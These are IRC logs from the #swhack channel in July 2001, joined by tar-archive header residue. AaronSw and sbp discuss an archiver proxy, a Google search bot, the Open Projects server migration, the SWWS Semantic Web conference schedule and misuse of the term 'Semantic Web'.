<AaronSw> I know. 15:17:19 <AaronSw> I hate it when folks send me HTML mail! 15:17:35 <sbp> Yeah, that's annoying too 15:18:34 <AaronSw> Hmm, you're right... it isn't deleting the files... 15:18:48 <sbp> Of course I'm right 15:22:12 <sbp> * sbp sends a mail to Joe 15:30:20 <AaronSw> Ok, I've fixed the archiver bug... uploading... 15:30:32 <sbp> sbp has quit 15:32:01 <sbp> sbp has joined #swhack 15:32:05 <AaronSw> Ok, I've fixed the archiver bug... uploading...done. 15:32:18 <AaronSw> It now deletes the files properly... 15:32:29 <sbp> Great! 15:32:35 <AaronSw> Should it leave the headers, do you think? 15:32:36 <sbp> And short file names? 15:32:43 <sbp> Headers... no, I don't think so 15:32:58 <AaronSw> Short file names are next on the list... 15:33:02 <sbp> Cool 15:41:06 <AaronSw> Hmm, fine... I'll just delete it on my end then. 15:41:22 <AaronSw> Oops. 15:57:59 <sbp> http://www.google.com/search?q=%22Semantic+Web%22 15:58:10 <sbp> Between you and I, guess how many pages we're responsible for :-) 15:58:22 <AaronSw> I'm worried... 15:59:29 <sbp> 3/10, which isn't bad 15:59:41 <AaronSw> i think it works better without the quotes... 16:00:26 <sbp> No, only 1 of the pages is ours then 16:00:32 <AaronSw> Hmm... 16:00:42 <AaronSw> OK, new version of the archiver uses better file names. 16:00:42 <AaronSw> http://logicerror.com/archiverProxy-code 16:00:48 <AaronSw> or at least shorter one. ;-) 16:01:11 <AaronSw> Since you think shorter != better. ;-) 16:01:16 <sbp> * sbp wonders what you've named it 16:01:28 <sbp> Heh, Byte Size Boy 16:01:33 <sbp> Ooh, and credit 16:01:40 <AaronSw> :-) 16:02:02 <sbp> What does # ARCHIVE_FILE_NAMES = 'date' 16:02:05 <sbp> do? 16:02:10 <sbp> Comparison? 16:02:18 <AaronSw> Huh? 16:02:26 <AaronSw> If you uncomment it then it switches to date mode. 16:02:31 <AaronSw> (the old way) 16:02:44 <sbp> Ugh 16:03:03 <AaronSw> Hey, it's an option. 16:04:18 <AaronSw> Best feature: comprehensive TODO list. ;-) 16:05:06 <sbp> * sbp turns it on 16:07:21 <sbp> It appears to work. Well done old chap 16:07:34 <AaronSw> Great! :-) 16:07:53 <AaronSw> I wonder where Gerald went, I'd love to show it to him... 16:08:04 <AaronSw> His website is down, so I can't really look it up. 16:08:27 <sbp> I can tell that my bug fix really hit the spot :-) 16:08:32 <sbp> Yeah: try FOGO IRC 16:08:37 <AaronSw> FOGO IRC? 16:08:44 <sbp> Yeah, FOGO IRC 16:08:52 <AaronSw> What's (or where's) that? 16:09:02 <sbp> Hang on, let me find out 16:09:47 <AaronSw> Well he's not on at the W3C and he's not responding to his email, so I suspect he's out-of-town... 16:09:50 <sbp> irc.impressive.net - down 16:10:11 <sbp> Er... 16:10:15 <sbp> s/down/not down 16:10:45 <AaronSw> How'd you find out about that? 16:15:35 <sbp> from impressive.net 16:26:15 <AaronSw> Where on impressive.net? 16:32:18 <sbp> sbp has quit 16:34:54 <sbp> sbp has joined #swhack 16:35:11 <sbp> AaronSw, can we stop speaking like this now? 16:35:16 <AaronSw> Yes, sbp. 16:35:24 <AaronSw> That was weird. 16:35:25 <sbp> that is good, AaronSw 16:35:27 <sbp> What was? 16:35:36 <AaronSw> donny is weird. 16:35:47 <sbp> Oh, yes, AaronSw. donny is weird 16:35:56 <sbp> How did you know about him? 16:36:06 <AaronSw> There are a ton on this network. 16:36:14 <sbp> Any particular rooms? 16:36:58 <AaronSw> one on #monkeybot 16:37:13 <sbp> Design issues for creating new homes. Axiom #1: provide a place to air out one's stinkables 16:37:26 <AaronSw> homes? 16:37:28 <AaronSw> stinkables? 16:37:46 <sbp> homes = dwelling 16:37:52 <sbp> stinkables = stinkables 16:37:57 <sbp> (Simpsons term) 16:43:42 <sbp> Gotta run 16:43:44 <sbp> sbp has quit 17:54:39 <AaronSw> Pat Hayes, RDF Model Theory: """We could propose a related language to RDF which might be called Resource Querying Format, which is identical to RDF except that RQF expressions are understood to be queries rather than assertions. <joke> The syntax of RQF could be identical to RDF except that an RQF document must end with the string ",eh?". </joke>""" 17:56:33 <AaronSw> Today on www-talk: """hello, you sent me an email, im replying, it is cool, goodbye""" 18:12:34 <sbp> sbp has joined #swhack 18:15:58 <sbp> sbp has left channel 18:16:02 <sbp> sbp has joined #swhack 18:17:20 <sbp> Um... "hello, you sent me an email, im replying, it is cool, goodbye" 18:17:27 <AaronSw> Yeah, I liked that. 18:17:40 <AaronSw> It was in the funny stuff I logged earlier. 18:17:45 <sbp> Cool 18:17:59 <AaronSw> Along with another Pat Hayes joke. 18:18:36 <sbp> a joke??? 18:18:47 <AaronSw> Yes, a joke! Even tagged as such! 18:18:54 <AaronSw> <AaronSw> Pat Hayes, RDF Model Theory: """We could propose a related language to RDF which might be called Resource Querying Format, which is identical to RDF except that RQF expressions are understood to be queries rather than assertions. <joke> The syntax of RQF could be identical to RDF except that an RQF document must end with the string ",eh?". </joke>""" 18:19:10 <AaronSw> Writing a model theory must make you do that kind of thing... 18:19:23 <sbp> Yeah, just got that from the logs 18:19:27 <sbp> Wow... a real joke 18:19:33 <sbp> It's almost kinda funny, too 18:19:47 <AaronSw> I thought it was funny. 18:21:02 <sbp> Ooh, thanks for the travel log 18:21:10 <sbp> [yes, it was actually very funny] 18:21:26 <sbp> The "<joke>" tag does spoil it a little bit though 18:24:42 <sbp> Hmm... away message: "I'm not in the office right now. Thankfully, I just bought a computer that not only answers, but reads my mail as well. Unfortunately, your letter sucks, and as such it has been deleted. Please resend it so that I can delete it personally upon my return." 18:25:10 <AaronSw> He he he, who was that? 18:25:14 <googler> googler has joined #swhack 18:25:19 <sbp> aaargh! 18:25:19 <AaronSw> googler, hi 18:25:20 <googler> Argh, it's a stock quote page :( 18:25:29 <sbp> TFW, up 25 18:25:38 <sbp> FEJ, down 50 and a half 18:25:44 <AaronSw> What? 18:25:46 <sbp> FEO, stays the same 18:25:59 <sbp> who was that: it was me, just now 18:26:05 <sbp> * sbp wonders who googler is 18:26:22 <AaronSw> googler, who is sean palmer? 18:26:23 <googler> who is sean palmer: http://www.purl.org/net/sbp/ 18:26:35 <sbp> Ah 18:26:41 <sbp> Oh no, please! 18:26:46 <sbp> Not this again..... 18:26:55 <AaronSw> What's wrong with him? I think he's cute. 18:27:04 <sbp> googler, are you cute? 18:27:05 <googler> are you cute: http://www.moondancing.net/AHAYC/ 18:27:09 <sbp> ooh 18:27:30 <sbp> googler, what is the Semantic Web? 18:27:31 <googler> what is the Semantic Web: http://www.sciam.com/2001/0501issue/0501berners-lee.html 18:27:45 <AaronSw> googler, bottreat 18:27:45 <googler> bottreat: http://bugs.uah.ualberta.ca/webbug/parasite/bottreat.htm 18:27:49 <sbp> googler, what is the Semantic Web according to Sean? 18:27:51 <googler> what is the Semantic Web according to Sean: http://www.araby-dalbo.com/users/1131/21207/200103/20010314_Triples.html 18:27:56 <AaronSw> He he he. 18:27:58 <sbp> Well, kind of 18:28:41 <googler> googler has quit 18:28:45 <googler> googler has joined #swhack 18:29:15 <AaronSw> googler, botsnack 18:29:15 <googler> yum! 18:29:26 <sbp> lol 18:29:36 <AaronSw> googler, windows 18:29:36 <googler> windows: http://www.microsoft.com/windows/default.asp 18:29:58 <sbp> googler, her googler! Good botty 18:29:58 <googler> No matches for her googler! Good botty. 18:30:04 <AaronSw> googler, linuxhelp? 18:30:05 <googler> linuxhelp: http://www.linuxhelp.org/ 18:30:07 <AaronSw> googler, linuxhelp 18:30:08 <googler> linuxhelp: http://www.linuxhelp.org/ 18:30:10 <sbp> er... I meant here, but still 18:30:32 <sbp> googler, SWAG me baby 18:30:33 <googler> SWAG me baby: http://www.kompaktkiste.de/tenor.htm 18:30:37 <sbp> Hmm... 18:30:38 <AaronSw> heh 18:31:04 <AaronSw> googler, stats 18:31:04 <googler> [stats] I have been running 00:02:20 (5 searches, 7 queries); connected 00:02:19; system uptime 139 days, 15:16 18:31:13 <sbp> googler, Jimmy crack corn and I don't care 18:31:14 <googler> Jimmy crack corn and I don't care: http://www.christaylormusic.com/worthlessart/ 18:31:56 <AaronSw> googler, xWebL 18:31:56 <googler> xWebL: http://logicerror.com/xWeb-Aaron 18:32:02 <sbp> Oh, damn it 18:32:27 <AaronSw> You think I should invite him to #rdfig? 18:32:30 <sbp> googler, xWebL specification 18:32:31 <googler> xWebL specification: http://infomesh.net/2001/xWebL/spec/ 18:32:35 <sbp> Hah! 18:32:39 <sbp> Yeah, you could do 18:32:51 <sbp> But I'd play with it constantly 18:32:56 <AaronSw> ;-) 18:32:58 <sbp> So you'd better not, for my sake 18:33:01 <AaronSw> googler, join sbp 18:33:02 <googler> join sbp: http://www.saic.com/sbp/jointeam.html 18:33:16 <AaronSw> err...hmm 18:33:30 <sbp> lol 18:33:34 <sbp> googler, join #sbp 18:33:34 <googler> join #sbp: http://www.saic.com/sbp/jointeam.html 18:33:48 <sbp> smeg 18:34:03 <AaronSw> .join #sbp 18:57:22 <sbp> sbp has quit 18:58:42 <AaronSw> googler, robster 18:58:42 <googler> robster: http://www.advogato.org/person/robster/ 19:00:04 <AaronSw> googler, operserv 19:00:05 <googler> operserv: http://www.valinor.sorcery.net/glossary/OperServ.html 19:06:37 <AaronSw> googler, python 19:06:38 <googler> python: http://www.python.org/ 21:33:12 <sbp> sbp has joined #swhack 21:36:54 <AaronSw> Hi, I added the error logging feature to the archiver. 21:37:07 <sbp> Ah, that's good 21:37:15 <AaronSw> Hmm, it just logged an error.... 21:37:41 <AaronSw> Ahh, file name too long.... 21:37:46 <AaronSw> not sure what to do about that one. ;-) 21:49:38 <cdlu> [GlobalSpam] Could all users interested in the preservation of their nicks and channels present themselves to the testnet (irc.openprojects.net:9000) and report any problems they see? We'll be putting the new code into production as soon as we're sure it's ready, and this is an important step. Thank you and have a nice day. 21:57:54 <cdlu> [GlobalSpam] For clarification, direct questions and comments and criticisms to #openprojects (here). Only your nicks, your nicks' passwords, channel names, and the channel's founders have been preserved. Options, registration times, access lists, and so forth were not saved, in spite of extensive efforts. 22:15:06 <andy> Friendly reminder to all our users: Please connect to irc.openprojects.net:9000 and have a look at your NickServ and ChanServ profiles. This is the last major step before we switch over to the new ircd. Please do so immediately. Thanks. 22:31:43 <sbp> sbp has quit 22:46:18 <sbp> sbp has joined #swhack 22:46:34 <sbp> Aha 22:46:43 <AaronSw> what was it? 22:47:23 <sbp> Just slow 23:11:21 <sbp> c'ya 23:11:24 <sbp> sbp has quit ��������������������������������������������������������������������������������������������������������������������������������������������������2001-07-30.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000035252�07331577711�012022� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������01:02:45 <AaronSw> AaronSw has quit 01:03:01 <googler> googler has quit 01:03:21 <irc.openprojects.net> Disconnected from irc.openprojects.net (Connection reset by peer) 01:03:31 <irc.openprojects.net> Disconnected from irc.openprojects.net (Connection reset by peer) 01:03:37 <irc.openprojects.net> Disconnected from irc.openprojects.net (Connection reset by peer) 01:03:41 <irc.openprojects.net> Disconnected from irc.openprojects.net (Connection reset by peer) 01:10:43 <logster> logster has joined #swhack 01:10:43 <niven.openprojects.net> Users on #swhack: logster @AaronSw 01:12:50 <AaronSw> AaronSw has quit 01:13:08 <irc.openprojects.net> Disconnected from irc.openprojects.net (Connection reset by peer) 01:13:40 <irc.openprojects.net> Disconnected from irc.openprojects.net (Connection reset by peer) 01:13:42 <logster> logster has joined #swhack 01:13:42 <sagan.openprojects.net> Users on #swhack: logster ASwartz 01:14:31 <ASwartz> ASwartz is now known as AaronSw 01:16:15 <AaronSw> AaronSw has quit 01:20:11 <AaronSw> AaronSw has joined #swhack 01:20:11 <googler> googler has joined #swhack 01:30:46 <cdlu> [GlobalNotice] Welcome to the new codebase. You'll notice several differences. Services will be back in a few minutes, and when it returns, channel owners will need to rebuild their access lists and correct the options for their channels. Similarly, all users will need to update any information they would like updated with NickServ. If you have problems, please be patient and take them up with us in #openprojects when it settles down a little bit. T 01:37:47 <sbp> sbp has joined #swhack 01:39:13 <sbp> sbp has quit 01:48:54 <ChanServ> ChanServ has joined #swhack 01:52:07 <andy> [GlobalMessage] Please fix your channel access lists. If you have any issues there, please come and talk to us in #openprojects 02:14:22 <robster> Jordan is available for australians 02:41:54 <ChanServ> ChanServ has quit 02:41:54 <googler> googler has quit 02:41:54 <AaronSw> AaronSw has quit 02:46:43 <googler> googler has joined #swhack 02:51:27 <ChanServ> ChanServ has joined #swhack 03:34:30 <AaronSw> AaronSw has joined #swhack 03:51:40 <dent> [globalnotice] In a few minutes I will be shutting down services in order to reenter the time nicks where registered into the database. 04:00:44 <irc.openprojects.net> Disconnected from irc.openprojects.net (Connection reset by peer) 04:00:45 <logster> logster has joined #swhack 04:00:45 <benford.openprojects.net> Users on #swhack: logster @ChanServ googler 04:00:49 <googler> googler has quit 04:01:05 <AaronSw> AaronSw has joined #swhack 04:07:54 <irc.openprojects.net> Disconnected from irc.openprojects.net (Connection reset by peer) 04:08:05 <logster> logster has joined #swhack 04:08:05 <niven.openprojects.net> Users on #swhack: logster 04:09:31 <irc.openprojects.net> Disconnected from irc.openprojects.net (Connection reset by peer) 04:10:54 <logster> logster has joined #swhack 04:10:54 <sagan.openprojects.net> Users on #swhack: logster AaronSw 04:11:37 <googler> googler has joined #swhack 04:12:40 <ChanServ> ChanServ has joined #swhack 04:52:45 <ChanServ> ChanServ has quit 04:53:08 <irc.openprojects.net> Disconnected from irc.openprojects.net (Connection reset by peer) 04:53:13 <logster> logster has joined #swhack 04:53:13 <forward.openprojects.net> Users on #swhack: logster 04:55:13 <AaronSw> AaronSw has joined #swhack 05:22:56 <irc.openprojects.net> Disconnected from irc.openprojects.net (Connection reset by peer) 05:22:59 <logster> logster has joined #swhack 05:22:59 <niven.openprojects.net> Users on #swhack: logster @ChanServ googler 05:23:04 <AaronSw> AaronSw has joined #swhack 05:44:08 <ChanServ> ChanServ has quit 05:48:24 <AaronSw> googler, Ben Swartz 05:48:26 <googler> Ben Swartz: http://swartzfam.com/ben/ 05:52:24 <AaronSw> googler, asheron's call esrb rating 05:52:26 <googler> asheron's call esrb rating: http://www.avault.com/reviews/review_temp.asp?game=ashcall&page=1 06:04:14 <ChanServ> ChanServ has joined #swhack 07:56:00 <irc.openprojects.net> Disconnected from irc.openprojects.net (Connection reset by peer) 23:13:59 <logster> logster has joined #swhack 23:13:59 <benford.openprojects.net> Users on #swhack: logster AaronSw @googler 23:14:21 <AaronSw> Hmm, wonder where logster was. 23:14:27 <AaronSw> *** Welcome to Open Projects! You are on 1 ca 1(2) ft 14(14). 23:14:27 <AaronSw> *** Mode change "+if" for AaronSw by AaronSw 23:14:27 <AaronSw> <NickServ> Notice: This nickname is registered and protected. If it is your 23:14:27 <AaronSw> <NickServ> Notice: nick, type /msg NickServ IDENTIFY password. Otherwise, 23:14:27 <AaronSw> <NickServ> Notice: please choose a different nick. 23:14:28 <AaronSw> *** You have joined the channel 23:14:29 <AaronSw> <ChanServ> Notice: This channel is logged and blogged: http://logicerror.com/rdfIRCWelcome 23:14:32 <AaronSw> <AaronSw> Well hello. 23:14:34 <AaronSw> <AaronSw> It's Aaron from beautiful California. 23:14:37 <AaronSw> <Aaron 23:14:37 <AaronSw> Sw> ->sbp: wake up! 23:14:39 <AaronSw> <AaronSw> How's it going? 23:14:42 <AaronSw> <sbp> Not bad thanks... 23:14:44 <AaronSw> <sbp> dare I ask? 23:14:45 <AaronSw> <sbp> How it's going there? 23:14:48 <AaronSw> <AaronSw> Going quite well, thank you. 23:14:50 <AaronSw> <sbp> Doug Englebart's there? 23:14:53 <AaronSw> <sbp> You know Doug Englebart? 23:14:53 <AaronSw> <AaronSw> And Ted Nelson. 23:14:56 <AaronSw> <AaronSw> Just met him, quite a nice fellow. 23:14:57 <AaronSw> <AaronSw> both of them really. 23:15:01 <AaronSw> <sbp> Oh, damnit 23:15:02 <AaronSw> <AaronSw> got a great photo with the three of us 23:15:03 <AaronSw> * sbp is speechless 23:15:06 <AaronSw> <AaronSw> Yeah, I was... 23:15:07 <AaronSw> <sbp> :-) 23:15:09 <AaronSw> <AaronSw> They were both rather surprised to hear I was a member of the 23:15:11 <AaronSw> WG... 23:15:13 <AaronSw> <AaronSw> I had to explain to Ted what RDF is. 23:15:16 <AaronSw> <sbp> So, what tracks have you been doing? Where are all of your famous notes? 23:15:17 <AaronSw> <AaronSw> Spinned it to show that it fixed the sins of markup. 23:15:19 <AaronSw> <AaronSw> He was quite excited. 23:15:21 <AaronSw> <sbp> Heh, you explained to Ted Nelson what RDF was... 23:15:23 <AaronSw> <AaronSw> Notes: I got in rather late, couldn't find the place, and then my computer died. 23:15:25 <AaronSw> <AaronSw> So now I'm going to take notes. ;-) 23:15:27 <AaronSw> <sbp> Fine 23:15:29 <AaronSw> *** You are now known as Aaron-SWWS 23:15:31 <AaronSw> <Aaron-SWWS> Got to meet Jan and friends ea 23:15:33 <AaronSw> rlier. 23:15:36 <AaronSw> <sbp> Cool. Who else? 23:15:38 <AaronSw> <Aaron-SWWS> Hmm, all sorts of people.. 23:15:40 <AaronSw> <Aaron-SWWS> Ora, Graham, Pat, etc. 23:15:42 <AaronSw> <Info> The connection to the server is no longer active 23:15:43 <AaronSw> *** Welcome to Open Projects! You are on 1 ca 1(2) ft 14(14) tr. 23:15:45 <AaronSw> *** Mode change "+if" for AaronSw by AaronSw 23:15:47 <AaronSw> <NickServ> Notice: This nickname is registered and protected. If it is your 23:15:49 <AaronSw> <NickServ> Notice: nick, type /msg NickServ IDENTIFY password. Otherwise, 23:15:51 <AaronSw> <NickServ> Notice: please choose a different nick. 23:15:53 <AaronSw> *** You have joined the channel 23:15:56 <AaronSw> <Ch 23:15:57 <AaronSw> anServ> Notice: This channel is logged and blogged: http://logicerror.com/rdfIRCWelcome 23:16:00 <AaronSw> <AaronSw> Also met William -- that was great fun. 23:16:01 <AaronSw> <AaronSw> And Jum Hendler, of course. 23:16:06 <AaronSw> <sbp> Yay! 23:16:06 <AaronSw> <AaronSw> err Jim 23:16:08 <AaronSw> <sbp> 15 minutes 'till the next set of talk 23:16:10 <AaronSw> <sbp> s/talk/talks 23:16:12 <AaronSw> <AaronSw> Oh, really? just a a coffee break, eh? 23:16:14 <AaronSw> <AaronSw> I need you to plan my schedule for me! ;-) 23:16:15 <AaronSw> <sbp> With pleasure 23:16:18 <AaronSw> <sbp> You've got a choice of:- 23:16:20 <AaronSw> <sbp> Working Track 1 (Room CIS-X101) 23:16:22 <AaronSw> <sbp> Ontology and Ontology Maintenance 23:16:23 <AaronSw> <sbp> Worki 23:16:27 <AaronSw> ng Track 2 (Packard 101) 23:16:28 <AaronSw> <sbp> Interoperability, Integration, Composition 23:16:30 <AaronSw> <sbp> Working Track 3 23:16:32 <AaronSw> <sbp> (Bio T175) 23:16:33 <AaronSw> <sbp> (Web) Services and Applications 23:16:36 <AaronSw> <sbp> Tutorial Track 23:16:38 <AaronSw> <sbp> TCSEQ 200 23:16:40 <AaronSw> <sbp> Demos 23:16:43 <AaronSw> <sbp> (Facilitator: Natalya F. Noy, SMI, Stanford University) 23:16:44 <AaronSw> <AaronSw> I think I'm in track 1 right now. 23:16:46 <AaronSw> <sbp> Great! 23:16:47 <AaronSw> <AaronSw> Demos are on now? 23:16:49 <AaronSw> <sbp> They're doing that paper that I was talking about, the RDFS(FA) thing 23:16:51 <AaronSw> <sbp> Demos will be on on the hour 23:16:53 <AaronSw> <AaronSw> Oh, OK. Well I suppose I should just s 23:16:55 <AaronSw> tay here hten. 23:16:57 <AaronSw> <sbp> 16:00 23:17:00 <AaronSw> <sbp> papers for Track 1:- 23:17:01 <AaronSw> <sbp> UML and the Semantic Web 23:17:04 <AaronSw> <sbp> Stephen Cranefield 23:17:06 <AaronSw> <sbp> Metamodeling Architecture of Web Ontology Languages 23:17:08 <AaronSw> <sbp> Jeff Pan, Ian Horrocks 23:17:09 <AaronSw> <sbp> DAML+OIL is not Enough 23:17:11 <AaronSw> <sbp> Sean Bechhofer, Carole Goble, Ian Horrocks 23:17:14 <AaronSw> <sbp> Semantic Web Modeling and Programming with XDD 23:17:16 <AaronSw> <sbp> Chutiporn Anutariya, Vilas Wuwongse, Kiyoshi Akama, Vichit Wattanapailin 23:17:18 <AaronSw> <sbp> Development of a Simple Ontology Definition Language (SOntoDL) and Its Application to a Medical 23:17:20 <AaronSw> Information Service on the World Wide Web 23:17:22 <AaronSw> <sbp> Rolf Grütter and Claus Eikemeier (Note: author can not come to SWWS) 23:17:24 <AaronSw> <sbp> Or, for the demo's:- 23:17:25 <AaronSw> <sbp> Verticalnet - Aseem Das 23:17:28 <AaronSw> <sbp> Spirit-Soft - Steve Ross-Talbot 23:17:29 <AaronSw> <sbp> Mondeca - Bernard Vatant 23:17:32 <AaronSw> <sbp> Empolis - Hans Holger Rath 23:17:33 <AaronSw> <sbp> LastMileServices - Raj Bapna 23:17:35 <AaronSw> <sbp> Stanford Medical Informatics - Mark Musen, Monica Crubezy, Natalya F. Noy 23:17:37 <AaronSw> <sbp> DSTC/Griffith University 23:17:39 <AaronSw> <sbp> Peter Eklund 23:17:42 <AaronSw> <AaronSw> Hmm... 23:17:44 <AaronSw> <AaronSw> What do you think? 23:17:45 <AaronSw> <sbp> THe last paper of 23:17:48 <AaronSw> Track 2 looks good too 23:17:49 <AaronSw> <sbp> Personally, I'd be going to Track 1, but it might bore the crap out of you 23:17:51 <AaronSw> <AaronSw> :-) That's what I was thinking.. 23:17:59 <AaronSw> <AaronSw> Well, i'm lazy so I'll stay here for now. 23:18:00 <AaronSw> <sbp> I'll bet you missed Eric's talk then? That sounded really good 23:18:02 <AaronSw> <AaronSw> Yeah, I'm reading the notes. 23:18:04 <AaronSw> <AaronSw> Quite bummed that I missed it, but oh well. 23:18:07 <AaronSw> <sbp> Heh, you went all that way and you end up reading the notes like I did 23:18:07 <AaronSw> <Aaron 23:18:09 <AaronSw> Sw> :-) 23:18:12 <AaronSw> <AaronSw> Did anyone videotape? 23:18:15 <AaronSw> <sbp> I'm not sure 23:18:16 <AaronSw> * sbp finds out where Aaron is 23:18:17 <AaronSw> <sbp> Ah, to the right as you go down the main drive 23:18:20 <AaronSw> <sbp> Allen Center for integrated Physics? 23:18:22 <AaronSw> <AaronSw> No, TCSEQ. 23:18:24 <AaronSw> <AaronSw> Hmm, perhaps I'm not where I think I am... 23:18:25 <AaronSw> <AaronSw> Oh, I'm in the demos track. 23:18:27 <AaronSw> <AaronSw> Whoopsies. 23:18:31 <AaronSw> <AaronSw> Ahh well, that should be interesting to. 23:18:32 <AaronSw> <sbp> Ah, got it, two blocks away 23:18:34 <AaronSw> <sbp> Ooh, do I get live notes on this then? 23:18:36 <AaronSw> <AaronSw> live; of course 23:18:38 <AaronSw> <sbp> Woohoo! 23:18:40 <AaronSw> <AaronSw> two blocks? 23:18:42 <AaronSw> well i'm certainly not walking all that way. ;-) 23:18:44 <AaronSw> <sbp> er... 23:18:45 <AaronSw> <AaronSw> my feat hurt already. 23:18:48 <AaronSw> <sbp> Homer: Woohoo! 23:18:50 <AaronSw> <sbp> feat? 23:18:52 <AaronSw> <sbp> Yeah. Must be nice to be there though 23:18:53 <AaronSw> <AaronSw> err feet. 23:18:58 <AaronSw> <AaronSw> I'm totally thrilled. 23:18:58 <AaronSw> <AaronSw> I mean, I'm on Ted Nelson's videocamera!! What could be better? 23:18:59 <AaronSw> <AaronSw> did you send my regrets to PF? ;-) 23:19:01 <AaronSw> <sbp> Aw, he had his videocamera... 23:19:03 <AaronSw> <AaronSw> He always does. 23:19:05 <AaronSw> <AaronSw> That's his thing, you know. 23:19:08 <AaronSw> <sbp> Yes, I mentioned on the meeting that you'd both be at SWWS 23:19:10 <AaronSw> <Aa 23:19:14 <AaronSw> ronSw> Great. 23:19:17 <AaronSw> <AaronSw> videocamera... hmmm wonder which tape has timbl on it... 23:19:17 <AaronSw> <sbp> Probably one from 8 years ago 23:19:19 <AaronSw> <AaronSw> heh 23:19:20 <AaronSw> <AaronSw> Do you log the chat? 23:19:22 <AaronSw> <sbp> Do I log what chat? This one? Yes 23:19:36 <AaronSw> ere towards the end 23:19:38 <AaronSw> <sbp> Bernard Vatant is that guy who "left" SWAG because of our "lack of charter" 23:19:46 <AaronSw> <AaronSw> Feel free to ask questions and stuff 23:19:48 <AaronSw> <sbp> Like what? 23:19:50 <AaronSw> <AaronSw> I don't know... 23:19:52 <AaronSw> <sbp> I'm enjoying your notes! 23:19:54 <AaronSw> <AaronSw> great! 23:19:56 <AaronSw> <sbp> The bit about crashing after saying it's like Windows Exploer is the best... 23:19:58 <AaronSw> <AaronSw> :-) 23:20:00 <AaronSw> <sbp> Damn, I have to go for a little while 23:20:02 <AaronSw> <sbp> Keep those notes coming! 23:20:04 <AaronSw> <AaronSw 23:20:06 <AaronSw> > ok, c'ya 23:20:08 <AaronSw> <sbp> c'ya 23:20:10 <AaronSw> *** sbp has quit IRC (Bye, bye!) 23:20:12 <AaronSw> *** logster (swhack-log@v123-1.ARSDigita.seg.NET) has joined the channel 23:20:40 <AaronSw> AaronSw is now known as Aaron-SWWS 23:39:55 <sbp> sbp has joined #swhack 23:43:32 <sbp> Joe Clark replying to a suggestion from me on the GL list:- 23:43:39 <sbp> >3.4 Utilise content in a wide range of modalities where possible to assist 23:43:39 <sbp> >the users of your content. 23:43:39 <sbp> Boy, does that ever need to be rewritten in English. 23:43:59 <sbp> [end quote] 23:45:32 <sbp> I'm thinking of putting, "O.K., so how about, 'use multimedia, dumb ass'"? 23:45:52 <Aaron-SWWS> :-) 23:45:54 <sbp> [er... should have commented that out, perhaps :-) ] 23:47:45 <sbp> * sbp checks out the log 23:47:51 <Aaron-SWWS> googler, "Joe Clark" "dumb ass" 23:47:52 <googler> Joe Clark" "dumb ass: http://www.grudge-match.com/History/school.shtml 23:47:53 <sbp> You're a notes machine! 23:48:57 <Aaron-SWWS> I'm getting sort of tired, notes are going to suffer. 23:49:05 <sbp> Want me to take over? 23:49:13 <Aaron-SWWS> Yeah, could you? 23:49:30 <sbp> I'll try. I can't quite hear what they're saying though 23:49:41 <Aaron-SWWS> Hmm, want me to send you a sound feed? 23:49:42 <sbp> 5000 miles certainly distorts their PA 23:50:04 <sbp> Sound feed: sure 23:54:30 <sbp> Reminds me of Al's "everyone, everything connected" ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-07-31.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000010570�07331637755�012024� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:06:53 <sbp> I wonder if these kind of enterprises that don't really have anything to do with the Semantic Web, but still bill themselves as such, will start to engulf the mainstream work? 00:07:02 <sbp> TimBL had the same fear with the WWW, of course 00:07:31 <sbp> But that was quite real. More people had heard of Mosaic than the WWW at one point... 00:08:02 <Aaron-SWWS> Hmm, after this it sure seems likely. :-( 00:08:23 <Aaron-SWWS> Even random guy in plane next to me pretended to know what semweb was 00:08:26 <sbp> I hope people realise that the implementation is not the system 00:08:39 <sbp> Really? What kind of stuff did he say? 00:08:57 <Aaron-SWWS> I didn't get a chance to follow up on it. :-( 00:09:28 <sbp> How did you know he was pretending, etc.? 00:09:48 <Aaron-SWWS> err, perhaps he wasn't pretending, but i doubt he really new what it was 00:10:08 <Aaron-SWWS> He wasn't that kind of guy, he makes memories. 00:10:20 <sbp> Yes. I'd not expect many people out of a very select circle to know much about it 00:12:11 <sbp> I think you've only got another 45 minutes to go 00:16:54 <Aaron-SWWS> Aaron-SWWS has quit 00:41:43 <sbp> sbp has quit 00:43:07 <sbp> sbp has joined #swhack 01:25:17 <sbp> That little rant on #rdfig could start a good essay... 01:25:26 <sbp> It is both humbling and annoying to do a Google search for the "Semantic Web" (try it), and have to filter through the junk that it returns. The first few pages offer the W3C site, SWAG, the SciAm article and so forth, and then there are a couple more decent finds... 01:25:34 <sbp> and then it thins out considerably. It seems that few people really understand what the Semantic Web is all about. 01:25:45 <sbp> Evidence of this comes from the group of people (let's call them an rdfs:Class) that believe that XML has inherent semantics, and that by drafting information in XML, your information will be magically understood by Semantic Web agents. Have they read the DesignIssues literature? Have the played with RDF? Could they even tell you what a URI is, or discuss the concept of decentralization? 01:25:51 <sbp> Worse are the products that claim they are built for the "Semantic Web" and then offer oh so little. I've come across services that claim to be related to the Semantic Web, and yet use proprietary formats! There's getting on the bobsleigh, and then there's falling in front of it... 01:28:56 <sbp> So, what can we do about it? Unfortunately, very little at this stage. Telling people what the Semantic Web "is" is very difficult when there is no one true definition. The real SW developers are the community developers; not necessarily the academics, or the business people, or even the programmers. It's the people that have taken time to research, to learn what the Semantic Web has to offer. We all have a very long way to go, but it's fun to take stock of what w 01:32:49 <sbp> The concept of a global database takes some getting used to. It is bizarrely counter-intuitive, much like discovering that the earth goes round the sun (it does?). People aren't used to making data that has been encoded in proprietary formats for so long with "no ill effects" available on a globally decentralized basis. The fact there there is a clear lack of stable tools to process this data, and a lack of low-hanging-fruit type applications only confounds the si 01:36:26 <sbp> Aw, it looks like so much text when you write it in IRC :-) 01:37:25 <sbp> Hmm... according to Google, I'm mentioned on 1/18th of the World's literature about the Semantic Web 01:38:44 <sbp> Most of them appear to be emails 01:43:38 <sbp> sbp has quit 09:46:49 <googler> googler has quit 09:53:04 <googler> googler has joined #swhack 10:17:32 <googler> googler has quit 10:26:38 <googler> googler has joined #swhack 13:42:00 <sbp> sbp has joined #swhack 14:09:13 <sbp> sbp has quit 16:29:24 <AaronSw> AaronSw has joined #swhack 16:29:34 <AaronSw> AaronSw is now known as Aaron-SWWS 16:30:05 